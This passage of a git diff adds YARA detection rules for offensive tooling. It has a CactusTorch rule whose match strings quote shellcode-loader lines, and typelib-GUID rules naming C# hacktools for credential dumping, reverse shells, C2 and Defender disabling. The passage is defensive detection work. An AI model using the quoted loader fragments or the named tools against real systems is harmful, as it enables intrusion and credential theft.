+      80 7A 02 73    cmp     byte ptr [rdx+2], 73h ; 's'
+    */
+    $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
+
+    // case "mtls":         // This one may or may not be in the file, depending on the config flags.
+    /*
+       81 ?? 6D 74 6C 73 cmp   dword ptr [rdx], 736C746Dh          // "mtls"
+    */
+    $s_mtls = {  81 ?? 6D 74 6C 73  }
+
+    $fp1 = "cloudfoundry" ascii fullword
+  condition:
+    5 of ($s*) and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_gen_cactustorch.yar b/yara-Neo23x0/gen_gen_cactustorch.yar
new file mode 100644
index 0000000..031e4c4
--- /dev/null
+++ b/yara-Neo23x0/gen_gen_cactustorch.yar
@@ -0,0 +1,45 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-31
+   Identifier: CactusTorch
+   Reference: https://github.com/mdsecactivebreach/CACTUSTORCH
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CACTUSTORCH {
+   meta:
+      description = "Detects CactusTorch Hacktool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
+      date = "2017-07-31"
+      hash1 = "314e6d7d863878b6dca46af165e7f08fedd42c054d7dc3828dc80b86a3a9b98c"
+      hash2 = "0305aa32d5f8484ca115bb4888880729af7f33ac99594ec1aa3c65644e544aea"
+      hash3 = "a52d802e34ac9d7d3539019d284b04ded3b8e197d5e3b38ed61f523c3d68baa7"
+      id = "75606b9e-97d5-5b8b-87f5-69b7e415b73c"
+   strings:
+      $x1 = "$payload = shellcode(%options[\"listener\"], \"true\", \"x86\");" fullword ascii
+      $x2 = "Copy the base64 encoded payload into the code variable below." fullword ascii
+      $x3 = " CACTUSTORCH Payload" ascii
+      $x4 = "ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)" fullword ascii
+      $x5 = "' Author: Vincent Yiu (@vysecurity)" fullword ascii
+      $x6 = "Dim binary : binary = \"rundll32.exe\"" fullword ascii
+
+      $a1 = "code = code & \"" ascii
+      $a2 = "serialized_obj = serialized_obj & \"" ascii
+
+      $s1 = "binary = \"rundll32.exe\"" fullword ascii
+      $s2 = "EL.DataType = \"bin.hex\"" fullword ascii
+      $s3 = "Set stm = CreateObject(\"System.IO.MemoryStream\")" fullword ascii
+      $s4 = "var binary = \"rundll32.exe\";" fullword ascii
+      $s5 = "var serialized_obj = \"" ascii
+   condition:
+      ( filesize < 800KB and
+         (
+            1 of ($x*) or
+            ( 1 of ($a*) and 1 of ($s*) )
+         )
+      ) or ( 3 of them )
+}
diff --git a/yara-Neo23x0/gen_github_net_redteam_tools_guids.yar b/yara-Neo23x0/gen_github_net_redteam_tools_guids.yar
new file mode 100644
index 0000000..8b5f9f5
--- /dev/null
+++ b/yara-Neo23x0/gen_github_net_redteam_tools_guids.yar
@@ -0,0 +1,5578 @@
+// These rules have room for false positives if e.g. a dual use tool is contained within a hack tool repo.
+// Could also be done with https://yara.readthedocs.io/en/stable/modules/dotnet.html#c.typelib but that needs an extra module.
+
+import "pe"
+
+rule HKTL_NET_GUID_CSharpSetThreadContext {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/CSharpSetThreadContext"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "883bb859-d5ab-501d-8c83-0c5a2cf1f6c8"
+    strings:
+        $typelibguid0lo = "a1e28c8c-b3bd-44de-85b9-8aa7c18a714d" ascii wide
+        $typelibguid0up = "A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D" ascii wide
+        $typelibguid1lo = "87c5970e-0c77-4182-afe2-3fe96f785ebb" ascii wide
+        $typelibguid1up = "87C5970E-0C77-4182-AFE2-3FE96F785EBB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DLL_Injection {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ihack4falafel/DLL-Injection"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "aec4fc28-9aa2-5eef-9fb1-d187a83a72b3"
+    strings:
+        $typelibguid0lo = "3d7e1433-f81a-428a-934f-7cc7fcf1149d" ascii wide
+        $typelibguid0up = "3D7E1433-F81A-428A-934F-7CC7FCF1149D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LimeUSB_Csharp {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/LimeUSB-Csharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "dfa96b36-e84c-510b-b16b-bd686777b83d"
+    strings:
+        $typelibguid0lo = "94ea43ab-7878-4048-a64e-2b21b3b4366d" ascii wide
+        $typelibguid0up = "94EA43AB-7878-4048-A64E-2B21B3B4366D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Ladon {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/k8gege/Ladon"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "57e3d2fa-d430-561b-9d42-cf58cda5ed7a"
+    strings:
+        $typelibguid0lo = "c335405f-5df2-4c7d-9b53-d65adfbed412" ascii wide
+        $typelibguid0up = "C335405F-5DF2-4C7D-9B53-D65ADFBED412" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WhiteListEvasion {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/khr0x40sh/WhiteListEvasion"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "cd2740d0-0315-5a32-b34a-1998024fcc06"
+    strings:
+        $typelibguid0lo = "858386df-4656-4a1e-94b7-47f6aa555658" ascii wide
+        $typelibguid0up = "858386DF-4656-4A1E-94B7-47F6AA555658" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Lime_Downloader {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Lime-Downloader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "bfb0f97c-6d95-5e11-ad11-5297bcf7c3df"
+    strings:
+        $typelibguid0lo = "ec7afd4c-fbc4-47c1-99aa-6ebb05094173" ascii wide
+        $typelibguid0up = "EC7AFD4C-FBC4-47C1-99AA-6EBB05094173" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DarkEye {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/K1ngSoul/DarkEye"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5dc6702f-a398-5be2-9df8-9a2ddc636a1f"
+    strings:
+        $typelibguid0lo = "0bdb9c65-14ed-4205-ab0c-ea2151866a7f" ascii wide
+        $typelibguid0up = "0BDB9C65-14ED-4205-AB0C-EA2151866A7F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpKatz {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/b4rtik/SharpKatz"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ff084b4c-4b00-5504-85ee-d6d17b5be504"
+    strings:
+        $typelibguid0lo = "8568b4c1-2940-4f6c-bf4e-4383ef268be9" ascii wide
+        $typelibguid0up = "8568B4C1-2940-4F6C-BF4E-4383EF268BE9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ExternalC2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ryhanson/ExternalC2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "1bbdfbb9-a3e8-5ffe-9db9-b50937e6a14d"
+    strings:
+        $typelibguid0lo = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii wide
+        $typelibguid0up = "7266ACBB-B10D-4873-9B99-12D2043B1D4E" ascii wide
+        $typelibguid1lo = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii wide
+        $typelibguid1up = "5D9515D0-DF67-40ED-A6B2-6619620EF0EF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Povlsomware {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/povlteksttv/Povlsomware"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0eba43d2-b415-5e72-9677-4a3238ff7c34"
+    strings:
+        $typelibguid0lo = "fe0d5aa7-538f-42f6-9ece-b141560f7781" ascii wide
+        $typelibguid0up = "FE0D5AA7-538F-42F6-9ECE-B141560F7781" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RunShellcode {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/zerosum0x0/RunShellcode"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "249da967-68b0-59b1-b414-4eb4fe67b8f3"
+    strings:
+        $typelibguid0lo = "a3ec18a3-674c-4131-a7f5-acbed034b819" ascii wide
+        $typelibguid0up = "A3EC18A3-674C-4131-A7F5-ACBED034B819" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpLoginPrompt {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/shantanu561993/SharpLoginPrompt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e9a493d9-21b6-5ff1-9e5e-e8fbacc34c0c"
+    strings:
+        $typelibguid0lo = "c12e69cd-78a0-4960-af7e-88cbd794af97" ascii wide
+        $typelibguid0up = "C12E69CD-78A0-4960-AF7E-88CBD794AF97" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Adamantium_Thief {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/LimerBoy/Adamantium-Thief"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "82225b2e-ab4a-50b8-a3fd-7ad4947d052e"
+    strings:
+        $typelibguid0lo = "e6104bc9-fea9-4ee9-b919-28156c1f2ede" ascii wide
+        $typelibguid0up = "E6104BC9-FEA9-4EE9-B919-28156C1F2EDE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PSByPassCLM {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/padovah4ck/PSByPassCLM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "dad6729f-3d96-5d2d-b72c-a96d1a3eae74"
+    strings:
+        $typelibguid0lo = "46034038-0113-4d75-81fd-eb3b483f2662" ascii wide
+        $typelibguid0up = "46034038-0113-4D75-81FD-EB3B483F2662" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_physmem2profit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FSecureLABS/physmem2profit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "75a27970-c469-53da-b0c3-b3d0faea0b6f"
+    strings:
+        $typelibguid0lo = "814708c9-2320-42d2-a45f-31e42da06a94" ascii wide
+        $typelibguid0up = "814708C9-2320-42D2-A45F-31E42DA06A94" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_NoAmci {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/med0x2e/NoAmci"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5fab1551-9d35-53cf-a04f-c14370119553"
+    strings:
+        $typelibguid0lo = "352e80ec-72a5-4aa6-aabe-4f9a20393e8e" ascii wide
+        $typelibguid0up = "352E80EC-72A5-4AA6-AABE-4F9A20393E8E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpBlock {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/CCob/SharpBlock"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b84538da-1b0e-50c7-abfa-e93d6de5a49b"
+    strings:
+        $typelibguid0lo = "3cf25e04-27e4-4d19-945e-dadc37c81152" ascii wide
+        $typelibguid0up = "3CF25E04-27E4-4D19-945E-DADC37C81152" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_nopowershell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/bitsadmin/nopowershell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0fd7496b-e34f-51f7-9270-ad424ed6a7a8"
+    strings:
+        $typelibguid0lo = "555ad0ac-1fdb-4016-8257-170a74cb2f55" ascii wide
+        $typelibguid0up = "555AD0AC-1FDB-4016-8257-170A74CB2F55" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LimeLogger {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/LimeLogger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0798f01b-76b7-5c4d-9ddb-5e377b86f8b9"
+    strings:
+        $typelibguid0lo = "068d14ef-f0a1-4f9d-8e27-58b4317830c6" ascii wide
+        $typelibguid0up = "068D14EF-F0A1-4F9D-8E27-58B4317830C6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AggressorScripts {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/harleyQu1nn/AggressorScripts"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d5903db5-010b-5b9d-8a5b-5d61aec52e7a"
+    strings:
+        $typelibguid0lo = "afd1ff09-2632-4087-a30c-43591f32e4e8" ascii wide
+        $typelibguid0up = "AFD1FF09-2632-4087-A30C-43591F32E4E8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Gopher {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/EncodeGroup/Gopher"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e3015719-9085-584d-8237-f377ec995149"
+    strings:
+        $typelibguid0lo = "b5152683-2514-49ce-9aca-1bc43df1e234" ascii wide
+        $typelibguid0up = "B5152683-2514-49CE-9ACA-1BC43DF1E234" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AVIator {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Ch0pin/AVIator"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "52acd520-52aa-5bb9-ab3b-66a940aa5f5a"
+    strings:
+        $typelibguid0lo = "4885a4a3-4dfa-486c-b378-ae94a221661a" ascii wide
+        $typelibguid0up = "4885A4A3-4DFA-486C-B378-AE94A221661A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_njCrypter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xPh0enix/njCrypter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "c30c8323-9418-521a-a4fc-6be0113b99b5"
+    strings:
+        $typelibguid0lo = "8a87b003-4b43-467b-a509-0c8be05bf5a5" ascii wide
+        $typelibguid0up = "8A87B003-4B43-467B-A509-0C8BE05BF5A5" ascii wide
+        $typelibguid1lo = "80b13bff-24a5-4193-8e51-c62a414060ec" ascii wide
+        $typelibguid1up = "80B13BFF-24A5-4193-8E51-C62A414060EC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpMiniDump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/b4rtik/SharpMiniDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e91e6711-d992-5a8a-97e6-1ed7847f38a4"
+    strings:
+        $typelibguid0lo = "6ffccf81-6c3c-4d3f-b15f-35a86d0b497f" ascii wide
+        $typelibguid0up = "6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CinaRAT {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/wearelegal/CinaRAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "c6b4c919-0fc6-5096-b29b-963142a2c831"
+    strings:
+        $typelibguid0lo = "8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc" ascii wide
+        $typelibguid0up = "8586F5B1-2EF4-4F35-BD45-C6206FDC0EBC" ascii wide
+        $typelibguid1lo = "fe184ab5-f153-4179-9bf5-50523987cf1f" ascii wide
+        $typelibguid1up = "FE184AB5-F153-4179-9BF5-50523987CF1F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ToxicEye {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/LimerBoy/ToxicEye"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0b7b62ce-9c24-5d81-8d87-22f6e461a62b"
+    strings:
+        $typelibguid0lo = "1bcfe538-14f4-4beb-9a3f-3f9472794902" ascii wide
+        $typelibguid0up = "1BCFE538-14F4-4BEB-9A3F-3F9472794902" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Disable_Windows_Defender {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Disable-Windows-Defender"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "9a673427-e66e-594b-942a-64a2272319f3"
+    strings:
+        $typelibguid0lo = "501e3fdc-575d-492e-90bc-703fb6280ee2" ascii wide
+        $typelibguid0up = "501E3FDC-575D-492E-90BC-703FB6280EE2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DInvoke_PoC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/dtrizna/DInvoke_PoC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
+    strings:
+        $typelibguid0lo = "5a869ab2-291a-49e6-a1b7-0d0f051bef0e" ascii wide
+        $typelibguid0up = "5A869AB2-291A-49E6-A1B7-0D0F051BEF0E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ReverseShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/chango77747/ReverseShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "876932d5-a65d-5230-9cb8-24038ad8af0d"
+    strings:
+        $typelibguid0lo = "980109e4-c988-47f9-b2b3-88d63fababdc" ascii wide
+        $typelibguid0up = "980109E4-C988-47F9-B2B3-88D63FABABDC" ascii wide
+        $typelibguid1lo = "8abe8da1-457e-4933-a40d-0958c8925985" ascii wide
+        $typelibguid1up = "8ABE8DA1-457E-4933-A40D-0958C8925985" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpC2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SharpC2/SharpC2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "2ed6d74e-2b95-5c70-807a-4da5e62f5853"
+    strings:
+        $typelibguid0lo = "62b9ee4f-1436-4098-9bc1-dd61b42d8b81" ascii wide
+        $typelibguid0up = "62B9EE4F-1436-4098-9BC1-DD61B42D8B81" ascii wide
+        $typelibguid1lo = "d2f17a91-eb2d-4373-90bf-a26e46c68f76" ascii wide
+        $typelibguid1up = "D2F17A91-EB2D-4373-90BF-A26E46C68F76" ascii wide
+        $typelibguid2lo = "a9db9fcc-7502-42cd-81ec-3cd66f511346" ascii wide
+        $typelibguid2up = "A9DB9FCC-7502-42CD-81EC-3CD66F511346" ascii wide
+        $typelibguid3lo = "ca6cc2ee-75fd-4f00-b687-917fa55a4fae" ascii wide
+        $typelibguid3up = "CA6CC2EE-75FD-4F00-B687-917FA55A4FAE" ascii wide
+        $typelibguid4lo = "a1167b68-446b-4c0c-a8b8-2a7278b67511" ascii wide
+        $typelibguid4up = "A1167B68-446B-4C0C-A8B8-2A7278B67511" ascii wide
+        $typelibguid5lo = "4d8c2a88-1da5-4abe-8995-6606473d7cf1" ascii wide
+        $typelibguid5up = "4D8C2A88-1DA5-4ABE-8995-6606473D7CF1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SneakyExec {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/HackingThings/SneakyExec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "853b630d-77ba-5847-a129-c9fa0538f81b"
+    strings:
+        $typelibguid0lo = "612590aa-af68-41e6-8ce2-e831f7fe4ccc" ascii wide
+        $typelibguid0up = "612590AA-AF68-41E6-8CE2-E831F7FE4CCC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UrbanBishopLocal {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/slyd0g/UrbanBishopLocal"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "53b690ec-7d20-5e46-b368-b458ce56073d"
+    strings:
+        $typelibguid0lo = "88b8515e-a0e8-4208-a9a0-34b01d7ba533" ascii wide
+        $typelibguid0up = "88B8515E-A0E8-4208-A9A0-34B01D7BA533" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cobbr/SharpShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5966be44-c010-5c63-9576-1aaf36397d6c"
+    strings:
+        $typelibguid0lo = "bdba47c5-e823-4404-91d0-7f6561279525" ascii wide
+        $typelibguid0up = "BDBA47C5-E823-4404-91D0-7F6561279525" ascii wide
+        $typelibguid1lo = "b84548dc-d926-4b39-8293-fa0bdef34d49" ascii wide
+        $typelibguid1up = "B84548DC-D926-4B39-8293-FA0BDEF34D49" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_EvilWMIProvider {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/sunnyc7/EvilWMIProvider"
